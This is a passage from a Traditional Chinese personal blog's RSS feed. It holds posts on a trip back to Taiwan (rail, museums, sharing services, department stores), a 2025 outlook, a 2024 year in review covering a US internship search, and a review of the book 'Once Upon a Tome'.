<p>猜應該是全球政策統一，所以全世界大部分國家會共用一個麥當勞 App，而且規定原本各自開發的 App 都要下架，避免混淆。於是原本點點卡的那套就全部被搬到 Line 官方帳號裡，而且兩邊帳號資料沒有 (應該也是沒辦法) 互通。</p>
<p>所以身為一個資深<del>肥宅</del>麥當勞愛好者，你可能會同時持有：一個點點卡帳戶、一個外送帳戶、一個麥當勞 App 帳戶。</p>
<p>我真的是服了：）</p>
<h2 id="-高鐵" class="relative group">🚄 高鐵 </h2><p>高鐵新的旅客資訊系統好像陸續上線了，車站的看板應該是都更新完了，部分車廂也開始換上新的資訊面板，看起來挺現代的，最可惜的應該是當時設計的時候沒有考量到延誤資訊，剛好最近回去頻頻發生地震，這方面的資訊似乎沒有呈現的太好。</p>
<p>另外，跟隨 JR 的腳步，磁條式的車票即將被 QR Code 取代。新聞稿是說這樣可以大福節省電力消耗，但明眼人都知道高鐵本身就這麼耗電的公司，進站閘門的耗電量根本就微不足道，我想真正的理由應該還是閘門維運成本的考量。</p>
<p>接下來幾年的大事件應該是</p>
<ul>
<li>宜蘭、高雄、屏東延伸：家祭无忘告乃翁</li>
<li>新列車：據說好像跟日本談好了，猜應該會是 N700S 改成台灣的規格，挺期待的</li>
<li>票務系統用 15 年，一直沒這方面要更新的消息，也差不多該來了吧</li>
</ul>
<h2 id="-忠泰美術館" class="relative group">🗿 忠泰美術館 </h2><p>歐洲逛完很多美術館發現博物館跟美術館其實不一定得是公共的，於是開始研究台灣有些什麼有意思的私營美術館。</p>
<p>於是這次就來了忠泰美術館，場館不大，但有種小而別緻的感覺。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/taiwan-2025/the-generation-of-emancipatory-architecture-in-taiwan.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="《臺灣建築的解嚴世代》展覽背板"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/taiwan-2025/far-eastern-telecom-building.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="牆上掛著遠東有庠通訊大樓的照片"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<figcaption class="text-center">
  《臺灣建築的解嚴世代》：展出一些解嚴後建築美學的變遷
  <br>
  沒想到前母校的教學大樓居然有入選 (!)
</figcaption>
<p>另一個沒去到，但比較為人所知的應該是最近新開的富邦美術館，就留到下次再去吧</p>
<h2 id="-共享雨傘共享移動電源" class="relative group">☂️ 共享雨傘、共享移動電源 </h2><p>共享移動電源其實也存在好一陣子了，原本我是相當不看好，作為無時無刻離不開手機的人，我出門一定是手機、錢包、鑰匙、行動電源四件套，很難想像跟我一樣的人為什麼出門不會自己多帶上行動電源這種東西，而且借了花錢，又容易忘記還，怎麼看都不像是會成功的商業模式。</p>
<p>但顯然我錯了，這次回來發現，這東西的使用率正在飛速的成長，顯然對大部分人來說，花點小錢買方便，何樂而不為。</p>
<p>再加上捷運站現在又多了共享雨傘，還有原本就相當盛行的 GoShare 和 WeMo，台灣真的是很成功了發揚光大了共享經濟的理念。</p>
<p>這讓我開始思考一種全新的商業模式：</p>
<ol>
<li>成立一間控股公司把這些共享類的產業全部收編，統一管理</li>
<li>旗下所有服務改成全面免費</li>
<li>賣廣告，讓廣告業主來支付物品和系統的維運</li>
<li>還可以進一步針對物品的使用情形收集數據，把資料轉賣給顧問公司，用來做市場研究</li>
</ol>
<p>比方說下禮拜 Netflix 要上新一季的魷魚遊戲，那就來買共享雨傘傘面的廣告，如果這禮拜台北市區剛好每天下大雨 (提示：其實非常常發生)，這廣告會鋪天蓋地的充滿台北街頭。</p>
<p>如果有人有資金和興趣歡迎找我當合夥人 (揮手</p>
<h2 id="-新百貨" class="relative group">🛍️ 新百貨 </h2><p>今年會是台灣百貨業的新一波汰換潮，蠻多令人期待的新花樣，可惜我都逛不到 QQQQ</p>
<ul>
<li>誠品信義掰了，全世界少數的 24 小時書店，即將被換成統一的 Dream Plaza，內含亞洲最大間的星巴克。吳清友在天上看著這件事的發生，感覺祖墳都要冒青煙了。<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></li>
<li>敦南 Sogo 也掰了，跟敦南誠品差不多，都更完會變豪宅。看樣子敦南這一小區的百貨應該是會漸漸消失，往忠孝復興和忠孝敦化兩邊靠攏，說不定 Sogo 復興館旁新的 DIAMOND TOWERS 會有機會遞補這部分的空缺也說不定，但兩間我都沒逛過，不是我的領域，瞎猜的</li>
<li>微風的新據點幾乎都表現平平，本館也沒太多創新，但似乎仍屹立不搖。據說這間能持續存活是因為能夠專注持續服務少數的大客戶來維持業績，似乎變相印證了台灣的貧富差距其實還是存在的 (?) 私心覺得不是一件好事。</li>
<li>101 的新董座賈永婕新官上任三把火，雖然看似是名門內卡，但我是真心覺得她對百貨經營是有點想法的，期待接下來的發展</li>
<li>大巨蛋的百貨由遠東集團標下，經營會如何不知道，但從「Garden City」這名字還有目前放出來的各項行銷文宣，我大膽猜測這經營團隊的平均年齡至少有 40 歲，也證明遠東在百貨經營這塊依舊是多頭馬車，各分店各自為政</li>
<li>南港 Lalaport 要開了，據說還會有 KidZania，用來填補以前京華城的 BabyBoss (完了老人臭飄出來)。之前 BabyBoss 收掉是一個很有趣的案例，有興趣的人可以去查查新聞，這裡不贅述，我會挺期待看看新的 KidZania 會用什麼商業模式經營下去</li>
<li>我以為威秀在對面遠百開了新的 Muvie Cinema 之後，可能就會把原本的兩棟舊影城都更，畢竟在這寸土寸金的信義區，存在兩棟只有三層樓高的平房，土地綜效實在太低了，但沒想到去看星際效應的時候，居然發現影廳居然還有在大整修，應該代表短期內這地方沒有要收掉，其中一些比較小的廳甚至改為金馬影廳，專門放藝術類相關的電影，真是挺驚嘆的</li>
</ul>
<p>最後補充一點是，台灣的百貨零售似乎在線上體驗這點都做的不怎麼樣，有些有網站、有網購、有 App、有會員、但整體而言，作為消費者，我實在看不出這些雜亂無章的東西，到底能怎麼樣提升我的消費體驗。說難聽一點，我如果做個 App 讓大家查哪間百貨幾樓哪裡有廁所可以棒賽說不定下載量都會比這些垃圾好：）</p>
<p>同上，如果有人有資金和興趣在這領域創業，歡迎找我當合夥人 (揮手</p>
<hr>
<p>為什麼一開始只是想隨筆一下，居然洋洋灑灑寫了三千字（？？？？</p>
<p>Anyway，就醬，台灣的朋朋們明年再見 👋🏻</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>其實這套陳述可以套在所有台灣的環保措施，但也確實就應該這麼做，這不是星巴克的問題。&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>題外話：分享一下<a href="https://www.pttweb.cc/bbs/C_Chat/M.1738291314.A.C58" target="_blank" rel="noreferrer">Open 小將換女友的故事<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，我真的笑瘋&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">taiwan-2025</guid><pubDate>Sun, 16 Feb 2025 16:08:53 -0800</pubDate></item><item><title>2025 展望</title><link>https://blog.tomy.me/zh-tw/posts/2025-outlooks/</link><description>Do not go gentle into that good night.</description><content:encoded><![CDATA[<p>新年展望文到 2 月才發好像已經成了新的常態，但考慮到今年才過不到兩個月身邊就已經發生不少 Drama，現在還能心平氣和的坐在電腦前把這篇文打出來，我自己都被自己給嚇到。</p>
<h2 id="-quarter-okr" class="relative group">🕒 Quarter OKR </h2><p>照慣例，每個月寫報報的時候我都會列出下個月的三個目標。當時這麼做的想法無他，就是為了更掌握自己的生活。但去年的完成度挺糟糕的，仔細審視之後發現一個 (有趣的 (?)) 漏洞：我會在每年的年初寫下對今年的展望 (通常容易淪於高大上而難以執行和檢驗的無稽之談)，卻又在每個月報報的時候，列下一些雞毛蒜皮、毫不相關的小目標。這果然印證了：「人類常會高估短期的能力，卻低估長期的能耐」</p>
<p>今年想嘗試看看在每個季度 (3 個月) 設立中期的目標，來銜接這兩段規劃中間的空窗。這部分可能不會在部落格上的文章出現，畢竟這樣的內容已經太多了，但明年回顧的時候也許會再分享有趣的部分。</p>
<h2 id="-數位大掃除" class="relative group">🧹 數位大掃除 </h2><p>新年新氣象，今年第一個大目標就是好好把東西整理乾淨。</p>
<p>我的電腦上有住著一隻小精靈，他每天的工作就是在固定的時間巡邏我的桌面、下載等資料夾，然後把我很久沒使用的檔案帶走，送到一個叫做「Long Term Memories」的資料夾<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>，來保持我工作區域的整潔。</p>
<p>通常在沒那麼忙的時候，我就會把這個資料夾打開來，挖寶看看有什麼有趣、被遺忘的玩意兒，該歸檔的歸檔，該刪掉的就刪掉。但自從來美國之後，這個資料夾幾乎只有在要找某個明確的檔案的時候才會被打開，鮮少再被整理過。</p>
<p>除此之外還有各式各樣散落在電腦各處的資料夾、音樂資料庫<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>、照片資料庫等等，考慮到之後<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>會想認真的學攝影，勢必會突然產生很多硬碟空間的需求，現在似乎是一個很好的時間先在概念上 (拍照 或 攝影的意義是什麼，什麼樣的照片值得留存，什麼該被捨棄) 和實務上 (怎麼儲存、備份、存取) 都想清楚，再踏入這個<del>火坑</del>領域。</p>
<h2 id="-報報-20" class="relative group">📰 報報 2.0 </h2><p>我覺得過去這幾個月的報報有變難看的趨勢，大致可能的原因包含：</p>
<ul>
<li>行程交代的部分像流水帳</li>
<li>寫生活感觸的內容穿插進來，經常造成文章的情緒起伏過大，好像我本人正在精神分裂</li>
<li>平均字數超過 2000 字，<a href="./who-the-hell-would-read-all-these.jpg">打那麼多誰他媽看得完</a></li>
</ul>
<p>還有一些其他的問題，像是我想找過去寫過的某個故事，會想不太起來是幾月發生的事，某些可能大家經常會好奇、忘記，然後有興趣想回頭看的主題，也很難被搜尋。</p>
<p>所以根據上面這些狀況，今年開始會把原本的各項大標獨立成另一篇文章，如果行程本身沒什麼心得，就一句話帶過就好了，不會硬寫，把整篇文章的字數控制在 1000 字以內。</p>
<p>大致上會是這樣，其他有想到的再隨時調整。也歡迎大家在這篇文下面留言，閱讀我的報報對你的意義是什麼？會希望看到什麼樣的內容？</p>
<h2 id="-法文" class="relative group">🇫🇷 法文 </h2><p>我仍然相信語言是體現、甚至說拓展思想的最佳形式。</p>
<p>而這也是我努力維持寫部落格這個習慣，很重要的原因之一。去年在因緣際會下開始養成了每天玩 Duolingo 學法文的習慣，雖然說，就憑每天玩幾分鐘的小遊戲，就說自己在學習一門語言，似乎有些自大，但我確實對這門語言是有興趣的，也一直把「學好法文」這件事掛念在心上。也許我會在未來的某個時間找個更直接、有效率的方式來把法文認真學好，但在那之前，就先維持好每天持續學習的狀態吧。</p>
<h2 id="-安靜的一個人過" class="relative group">⏾ 安靜的一個人過 </h2><p>我在去年年底的一個體悟是意識到<a href="/zh-tw/posts/2024-september-dump/#-我的人生劇本似乎注定孤獨">我的人生劇本是孤獨的</a>。</p>
<p>過了幾個月再回頭來看，當時這個標題下的是有點絕，但核心理念和出發點依舊是成立的：我沒辦法複製別人走過的路。</p>
<p>如果接下來的人生要再更靠近我嚮往的生活一點，唯一的辦法就是花更多時間跟自己相處，思考什麼方向才是適合自己的。</p>
<p>這並不是我人生中第一次嘗試這樣的「修行」，上一次 (其實也是唯一的一次) 是 6 年前，那年上半年我悄悄的從元智休學、一個人準備轉學考、最後進入中興，下半年又安靜的一個人度過了第一個學期。轉學是一開始的目的，但回頭來看，我認為最大的收穫反倒不是成功做到了轉學這件事，而是我在一個人獨處的大量思考中，獲得了很多對接下來人生方向該往哪去的啟發。</p>
<p>那是一個極其痛苦的過程，也大概會是今年的基調，但我想我依舊會期待。</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>為什麼叫這個名字，只能說懂的都懂：D&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>對，雖然我現在最常用的聽歌方式是 Spotify，但我還是沒放棄購買實體 CD 還有把他們轉錄到我的硬碟上&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>嗯這個心願又跳票了，因為我窮到短時間內存不了錢買相機。(乾原來我是小八嗎)&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2025-outlooks</guid><pubDate>Tue, 11 Feb 2025 00:36:42 -0800</pubDate></item><item><title>2024 回顧</title><link>https://blog.tomy.me/zh-tw/posts/2024-year-in-review/</link><description>老外都怎麼說的......Not the best (?)</description><content:encoded><![CDATA[<h2 id="-快速回顧" class="relative group">⏩️ 快速回顧 </h2><p>如果你錯過了去年的某些報報，簡單前情提要我 2024 年的一些重大事件：</p>
<ul>
<li>1 ~ 5 月：CMU MSE 第二個學期
<ul>
<li>3 月春假去了<a href="/zh-tw/posts/2024-march-dump/#-washington-dc">華盛頓特區</a>，月底去<a href="/zh-tw/posts/2024-march-dump/#-chicago">芝加哥</a>獨旅、聽 LANY 的演唱會</li>
</ul>
</li>
<li>5 ~ 8 月：在<a href="/zh-tw/posts/sf-bay-area/">灣區</a>的 WeRide 實習
<ul>
<li>5 月去<a href="/zh-tw/posts/2024-may-dump/#-philly">費城</a>玩，還參加了<a href="/zh-tw/posts/pycon-us-2024/">美國的 PyCon</a></li>
<li>7 月去了 <a href="/zh-tw/posts/2024-july-dump/#-lake-tahoe">Lake Tahoe</a>，為了換新 MacBook Pro 順便飛去 <a href="/zh-tw/posts/2024-july-dump/#-portland">Portland</a> 獨旅一個週末</li>
</ul>
</li>
<li>8 ~ 12 月：CMU MSE 最後一個學期
<ul>
<li>10 月秋假去墨西哥 <a href="/zh-tw/posts/2024-october-dump/#-cancún">Cancún</a> 避寒、換了新的 <a href="/zh-tw/posts/2024-october-dump/#-iphone-16-pro">iPhone 16 Pro</a></li>
<li>12 月從 <a href="/zh-tw/posts/2024-december-dump/#-cmu-掰掰">CMU 畢業</a>、去<a href="/zh-tw/posts/new-york/">紐約</a>獨旅過聖誕節 + 跨年、回台灣過年</li>
</ul>
</li>
</ul>
<p>其他去年寫過的文章：</p>
<ul>
<li>對於職涯的一些反思
<ul>
<li><a href="/zh-tw/posts/never-retire/">也許我永遠不會退休</a></li>
<li><a href="/zh-tw/posts/starting-a-business/">關於創業</a></li>
<li><a href="/zh-tw/posts/next-10-years/">下個十年</a></li>
</ul>
</li>
<li>在自駕車新創實習三個月，就能學會<a href="">如何在自家後院打造一台自駕車</a>！？</li>
<li>神預測今年學測題目的 <a href="/zh-tw/posts/52-hertz-whales/">52 赫茲的鯨魚們</a> (X)</li>
</ul>
<h2 id="-2024-順利的部分" class="relative group">👍🏻 2024 順利的部分 </h2><p>先來講講今年哪些事情挺順利的：</p>
<h3 id="-找到實習" class="relative group">💼 找到實習 </h3><p>我是在 2 月的時候拿到實習的 offer，詳細的一些數據可以去看看 <a href="/zh-tw/posts/2024-february-dump/#-上岸啦">2 月的報報</a>。回頭來看，2024 年初的北美求職市場的確還是很嚴峻，我私心覺得能順利拿到這份 offer 跟 WeRide 本身的招聘方式有很大的關係，大家應該很難想像一間中國公司招工程師的難度可以這麼「卷」。</p>
<p>首先，他們只收會講中文的人，光這一點就先把範圍限縮了很大一部分。履歷投完，校名還得稍微能看才收的到 OA，而且內容又是 120 分鐘解 3 題 LeetCode Hard 的 OA。寫完分數太低當然是直接出局，分數高還得看你多早寫完，太晚的話可能面試排不到就招滿了。後面 3 輪技術面試也都差不多是 Medium 難度，即便這中間幾乎是 0 失誤，我後面還是再加面了一輪才順利拿到這份實習的 offer。所以也就不難想像北美的中國、台灣、港澳、新加坡人、或是其他可能稍微會講一些中文的 ABC，又要刷題能刷到這麼瘋癲的人能有多少。</p>
<p>我會講中文這件事應該不需要解釋，至於為什麼刷題會刷到這麼癲，這功勞就得歸給我身邊這坨會約在禮拜六早上 9 點起來刷題的<del>損</del>朋友們了：）</p>
<p>雖然在現實生活中已經說了很多次，但在這裡還是要再說一次：</p>
<blockquote>
<p>我不是奮力爬上岸的，是被身邊的人「卷」上岸的</p>
</blockquote>
<p>至於這歸根究底是不是一件好事，就有待時間的驗證了。</p>
<h3 id="-旅遊多多" class="relative group">🗺️ 旅遊多多 </h3><p>在美國的第二年，又解鎖了不少新城市，東岸的大城市差不多都走一輪了，甚至還去了墨西哥，<a href="https://my.flightradar24.com/tomy0000000" target="_blank" rel="noreferrer">單年度 20 趟飛行<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>也是刷新了之前的紀錄。通常阻止我出去玩的是錢包的深度，但在 CMU 似乎有主客易位的現象——因為平時很難擠出時間，所以變成一有假就在想著出去玩。理論上 2025 會回歸原本的「資本本位主義」的旅遊模式，但潛在的問題可能反而是美國快沒什麼沒去過的地方好去，但就&hellip;回去再說吧&hellip;</p>
<h2 id="-沒那麼順利的另一半" class="relative group">🤦🏻 沒那麼順利的另一半 </h2><p>這一部分似乎就多了一些 QQQQ</p>
<h3 id="-預算超支" class="relative group">📈 預算超支 </h3><p>按照原本的計劃，理論上 8 月會是我最後一次從台灣換美金然後匯款到美國，這一筆錢會包含最後一學期的學費、生活費、回台灣的旅費、還有支應我在領到第一份工作薪水前的各項花費。結果即便黑五和去紐約都沒買什麼東西，最後還是因為換手機、改機票、還有處理搬家等等各種花式的雜支導致預算破表，即便是寫這篇文的現在，我都還在看美元什麼時候可以跌一點下來讓我買一些去付我的信用卡帳單：）））</p>
<h3 id="-失去對生活的熱忱" class="relative group">🥀 失去對生活的熱忱 </h3><p>去年 11 月的報報有就<a href="/zh-tw/posts/2024-november-dump/#-結束找工作">寫過</a>我的心態被求職綁架，但當時沒有提到的是，這個狀態其實長達 4 個月，從 8 月一路延續到 11 月底，撇掉中間出去玩的時候還可以稍微散散心，其他大部分時間我都在 emo。</p>
<p>我在歐洲交換結束回台灣畢業時，有一個感觸是——有時候達成某些非凡的成就，並不完全是因為一個人的能力有多頂尖，更有可能只是他先達成了一個階段性的小成就，受到肯定，藉此獲得了足夠的勇氣去挑戰更困難的難題。而更多的人則是因為少了這些初步的成就，變得更容易被世俗眼光綁架，進而固步自封、處處碰壁。</p>
<p>這差不多就是我後半年整體的感受——因為在求職上沒有顯著的進展，所以就算是做其他事情，不管是修課、寫作業還是做 Practicum Project 都「力有餘而心不足」，說起來其實挺可惜的，因為我是真心很喜歡最後一學期選修的 Database，可惜當時沒有心力去鑽研每一個值得深究的細節。</p>
<p>承著上面這樣的狀態，自然也就更難去處理日常生活的其他面向。</p>
<p>雖然這樣形容有點怪怪的，但寫部落格對我來說，有著類似於酒精和大麻放大情緒的魔性。<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>當我度過了精彩的一個月，寫這個月的報報就是回顧開心的一個月；過了庸庸碌碌的一個月，就是再重新回放一次這個月有多淒慘。而當生活出現了一連串的不如意，最終就會失去追求生活的熱忱。</p>
<h2 id="-結論" class="relative group">💬 結論 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-year-in-review/leetcode-2024.jpg"
      class="mx-auto my-0 rounded-md"
      alt="滿滿的綠色格子，左上角寫著 2024 總共有 1454 次提交，右上角寫著總共有 362 天有提交，最高連續提交 247 天"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">我在 2024 刷的 LeetCode，每一大格是一個月<br/>每一小格顏色的深度是當天提交數量的多寡</figcaption>
</figure>
</p>
<p>有點不太確定該如何總結我的 2024，有點想說這片牆有多綠我的生活就有多糟，但似乎又有點言過其實。在寫這篇文今天，<a href="https://leetcode.com/u/tomy0000000/" target="_blank" rel="noreferrer">我的 LeetCode<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 每日挑戰已經累積到 403 天了。一開始是找完實習工作的時候覺得反正再過不久就要找正職工作，不想重新培養手感，所以就養成了每天點進去寫的習慣。但我想在我發完這篇文的同時，也差不多是時候停止這場鬧劇了。<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<p>看著去年寫的展望文，似乎沒達成多少，不知道該怎麼跟自己交代，只好來抱怨一下今年過的有多糟，卻也是把最痛苦的部分寫完才發現，去年值得開心的部分其實也不少，只是我的潛意識悄悄放大了很多不愉快的經驗罷了，並不代表他們不存在過。</p>
<p>總之，2025 值不值得期待&hellip;&hellip;現在不好說，但值得慶幸的是 2024 跟著大部分令我不開心的事一起結束了，今年要怎麼挽救，就等 2025 展望文再說吧。</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>這樣寫絕對不是因為我有呼過，都是聽說的 XD&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>給正在北美求職的人，特別說明：也許刷很多 LeetCode 對於我在 OA 或面試有部分的幫助，但絕對不全然是我拿到 offer 的全部。精通 Blind 75 或 NeetCode 就可以達到一樣的功效。我不想鼓勵任何人每天寫每日，特別是如果如果你本身就對求職感到焦慮。&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-year-in-review</guid><pubDate>Sat, 01 Feb 2025 15:09:20 +0800</pubDate></item><item><title>從前從前，有間古書店</title><link>https://blog.tomy.me/zh-tw/posts/once-upon-a-tome/</link><description>一個詭異奇妙、天馬行空的多重宇宙</description><content:encoded><![CDATA[<p>《從前從前，有間古書店》是 Oliver 以第一人稱的角度，講述他在具有百年歷史的倫敦二手古書店 Sotheran&rsquo;s 從學徒一路到資深店員之間，所發生的種種<del>鬧</del>故事。一開始，這些故事原本以短篇推文的形式在 Twitter 上流傳，直到有一天作者決定<del>用英國人認真開玩笑的方式</del>把這些胡鬧的故事，認真的寫成一本書，但也正是因為這些故事用非常輕鬆，甚至有些戲謔的方式述說，這成為了我後來愛上這本書一個重要的原因。</p>
<p>說來挺有趣的，兩年前，在我準備赴美攻讀碩士前，突然起心動念決定去誠品晃兩圈，帶一些中文書去美國，想在課餘的休息時間翻翻。<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>那是我與這本書的第一次相遇，我靠在櫃子上翻了幾頁序章，然後發現這本書還真的如同封底介紹的一樣——就是一間古書店的平凡故事，枯燥，也不有趣，因此我很快就把目光轉向其他書了。後來當年年尾，我意外的臨時決定回台灣過節，趕在平安夜<a href="/zh-tw/posts/2023-december-dump/#-誠品信義熄燈">誠品信義熄燈</a>的當天去走最後一圈時，又碰巧再遇見了這本書，而這次，或許是在一間即將關閉的書店，讀著一本關於書店的書而有了不一樣的感觸，我開始對接下來故事產生興趣，決定把它帶回家慢慢品味。</p>
<p>我特別喜歡作者用帶有一點點英式幽默、甚至有些誇大的方式描述故事情節，這讓平凡無奇的細節都多添了一些風味，特別是當某些句子即便已經充分描述當下的情形時，卻還是在結尾像畫龍點睛般，多用一兩句詞語，來讓平鋪直敘的句子，突然顯得荒謬的好笑。比方說：</p>
<blockquote>
<p>於是乎，凱莉來到書店，抱著一堆資料夾、端著外帶咖啡，配備筆電</p>
<p>與對體制的過剩信心<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
</blockquote>
<p>或是這段：</p>
<blockquote>
<p>每當我告訴大家&hellip;&hellip;，他們都會一臉驚恐地看著我，</p>
<p>彷彿我建議拆除巨石陣，空出地方來蓋超市</p>
</blockquote>
<p>也正因為 <a href="https://maps.app.goo.gl/DNjMFRu7NHD37r69A" target="_blank" rel="noreferrer">Sotheran&rsquo;s 書店是一間真實存在的古書店<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，書中提到 Piccadilly 大道上的觀光客會在經過書店時進來借廁所的時候，也會令我回想起在倫敦旅行的時光。<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>只可惜書中大部分故事發生的地點都是在 Sackville Street 的時期，而書店現在<a href="https://x.com/Sotherans/status/1727807155070259662" target="_blank" rel="noreferrer">已經搬家到 Upper Brook St 了<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，作者也在這本書的尾聲宣告自己從書店畢業了，所以之後也沒辦法實際走訪這本書提到的各種奇幻的場景了。但也許未來有機會再造訪倫敦，我還是會想去一趟新的 Sotheran&rsquo;s 書店晃晃吧，然後試著說服新學徒借廁所給我用 (?)</p>
<p>2024 年沒讀太多的書，好書更是不多，因此在這本書接近尾聲時，甚至還覺得有些可惜，故意放慢速度，或是重新回去翻前面的章節回來看，就像捨不得一趟快樂的旅程即將劃下句點一樣。</p>
<p>總而言之，這本書就如同封頁內側的介紹詞：「非常鬧的一本書」，而我就最喜歡這種鬧到不行的書：）</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>現在想想，當時的我真是天真的可愛 ʕ•ﻌ•ʔ&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>這我&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>看著地圖才發現，我確實有去書店斜對角的 Fornum &amp; Mason 買過伴手禮，所以說不定我還真的曾經路過這間書店 (?&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
